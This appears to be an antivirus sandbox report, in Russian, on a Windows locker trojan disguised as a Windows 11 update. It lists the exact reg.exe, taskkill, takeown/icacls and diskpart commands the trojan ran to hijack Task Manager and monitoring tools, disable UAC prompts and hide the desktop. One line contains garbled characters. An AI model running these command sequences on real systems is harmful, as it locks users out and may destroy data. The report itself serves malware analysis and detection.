Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Logoff.exe] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Logoff.exe.mui] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmgr.exe] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmgr.exe.mui] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmgr1.exe] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmgr1.exe.mui] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\resmon.exe] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\resmon.exe.mui] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\resmon1.exe] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\resmon1.exe.mui] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe.mui] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon1.exe] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon1.exe.mui] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SU.exe] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\111.exe] 'Debugger' = 'RIP'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Dunlocker.exe] 'Debugger' = 'RIP'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\createexplorershellunelevatedtask
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
изменяет следующие системные настройки:
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoDesktop' = '00000001'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoLogoff' = '00000001'
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /Im taskmgr.exe /f
- '<SYSTEM32>\taskkill.exe' /Im SU.exe /f
- '<SYSTEM32>\taskkill.exe' /Im taskmgr1.exe /f
- '<SYSTEM32>\taskkill.exe' /Im SU1.exe /f
- '<SYSTEM32>\taskkill.exe' /Im resmon.exe /f
- '<SYSTEM32>\taskkill.exe' /Im resmon1.exe /f
- '<SYSTEM32>\taskkill.exe' /Im perfmon.exe /f
- '<SYSTEM32>\taskkill.exe' /Im perfmon1.exe /f
- '<SYSTEM32>\taskkill.exe' /Im 111.exe /f
- '<SYSTEM32>\taskkill.exe' /Im Dunlocker.exe /f
- '<SYSTEM32>\taskkill.exe' /Im explorer.exe /f
Завершает или пытается завершить
следующие системные процессы:
- %WINDIR%\explorer.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\rarsfx0\o.txt
- %TEMP%\rarsfx0\run.vbs
- %TEMP%\rarsfx0\icon.ico
- %TEMP%\rarsfx0\setwindowsoptions.cmd
- %TEMP%\rarsfx0\hell.png
- %WINDIR%\softwaredistribution\windows11_24h2_update\hell.png
- %WINDIR%\softwaredistribution\windows11_24h2_update\icon.ico
- %WINDIR%\softwaredistribution\windows11_24h2_update\o.txt
- %WINDIR%\softwaredistribution\windows11_24h2_update\run.vbs
- %WINDIR%\softwaredistribution\windows11_24h2_update\setwindowsoptions.cmd
- %WINDIR%\softwaredistribution\windows11_24h2_update\taskkill.exe
Сетевая активность
UDP
- DNS ASK ap#.msn.com
Другое
Ищет следующие окна
- ClassName: 'Edit' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: 'Progman' WindowName: ''
- ClassName: 'Proxy Desktop' WindowName: ''
- ClassName: 'ApplicationFrameWindow' WindowName: ''
- ClassName: 'SystemTray_Main' WindowName: ''
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: 'BluetoothNotificationAreaIconWindowClass'
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "%TEMP%\RarSFX0\Run.vbs"
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\RarSFX0\SetWindowsOptions.cmd" (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Logoff.exe" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Logoff.exe.mui" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmgr.exe" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmgr.exe.mui" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmgr1.exe" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmgr1.exe.mui" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\takeown.exe' /F "<SYSTEM32>\shutdown.exe" /A
- '<SYSTEM32>\icacls.exe' "<SYSTEM32>\shutdown.exe" /grant ╨Ðâ°╨┤╨╝╨╕╨╜╨╕╤ÐÑ╤Щ╤Ðâ¡╨░╤Щ╨╛╤Ðâ¡╤ÐÐ:F
- '<SYSTEM32>\icacls.exe' "<SYSTEM32>\shutdown.exe" /grant Administrators:F
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\resmon.exe" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\resmon.exe.mui" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\resmon1.exe" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\resmon1.exe.mui" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe.mui" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon1.exe" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon1.exe.mui" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SU.exe" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\111.exe" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Dunlocker.exe" /v Debugger /t REG_SZ /d RIP /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDesktop /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoLogoff /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\SoftwareDistribution\Windows11_24H2_Update\Hell.png" /f
- '<SYSTEM32>\xcopy.exe' "%TEMP%\RarSFX0\*.*" "%WINDIR%\SoftwareDistribution\Windows11_24H2_Update\" /E /H /R /Y
- '<SYSTEM32>\rundll32.exe' user32.dll,UpdatePerUserSystemParameters
- '%WINDIR%\explorer.exe'
- '<SYSTEM32>\diskpart.exe' /s C:\SoftwareDistribution\Windows11_24H2_Update\O.txt
- '%WINDIR%\explorer.exe' /NoUACCheck
- '<SYSTEM32>\vds.exe'
- '<SYSTEM32>\xcopy.exe' "<SYSTEM32>\taskkill.exe" "%WINDIR%\SoftwareDistribution\Windows11_24H2_Update\" /y
- '<SYSTEM32>\xcopy.exe' "<SYSTEM32>\ru-RU\taskkill.exe.mui" "%WINDIR%\SoftwareDistribution\Windows11_24H2_Update\ru-RU" /y
- '<SYSTEM32>\xcopy.exe' "<SYSTEM32>\en-US\taskkill.exe.mui" "%WINDIR%\SoftwareDistribution\Windows11_24H2_Update\en-US" /y
- '%WINDIR%\systemapps\microsoft.windows.search_cw5n1h2txyewy\searchapp.exe' -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
- '<SYSTEM32>\svchost.exe' -k appmodel -p -s camsvc
